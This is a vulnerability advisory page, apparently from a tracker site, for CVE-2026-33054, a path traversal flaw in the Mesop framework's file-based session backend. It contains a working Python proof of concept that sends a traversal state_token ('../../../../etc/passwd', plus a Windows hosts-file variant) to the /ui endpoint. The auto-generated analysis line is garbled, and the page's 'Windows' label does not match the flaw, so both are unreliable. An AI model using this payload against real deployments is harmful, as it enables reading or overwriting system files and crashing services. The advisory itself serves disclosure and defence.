Skip to main content

Windows CVE-2026-33054

CRITICAL
Path Traversal (CWE-22)
2026-03-18 https://github.com/mesop-dev/mesop GHSA-8qvf-mr4w-9x2c
10.0
CVSS 3.1
Share

CVSS VectorNVD

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

3
Patch released
Mar 31, 2026 - 21:13 nvd
Patch available
Analysis Generated
Mar 18, 2026 - 20:15 vuln.today
CVE Published
Mar 18, 2026 - 20:01 nvd
CRITICAL 10.0

DescriptionNVD

#### Summary A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation. #### Details When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk. In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent. Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).

python
# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent. #### PoC An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

python
import requests
import mesop.protos.ui_pb2 as pb
# Assuming mesop protos are compiled
# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
# Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd"
# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()
# 2. Send the message to the ui stream endpoint
headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
)
# The server will attempt to parse /etc/passwd using msgpack,
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
print(response.content)

#### Impact This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.

AnalysisAI

A path traversal vulnerability in A Path Traversal vulnerability (CVSS 10.0). Critical severity with potential for significant impact on affected systems.

Sign in for full analysis, threat intelligence, and remediation guidance.

RemediationAI

Within 24 hours: Inventory all systems and applications using the Mesop pip package; isolate affected systems from production networks if critical. Within 7 days: Implement network segmentation to restrict Mesop application access; deploy WAF rules to block path traversal patterns; disable FileStateSessionBackend if alternative session backends are available. …

Sign in for detailed remediation steps.

Share

CVE-2026-33054 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy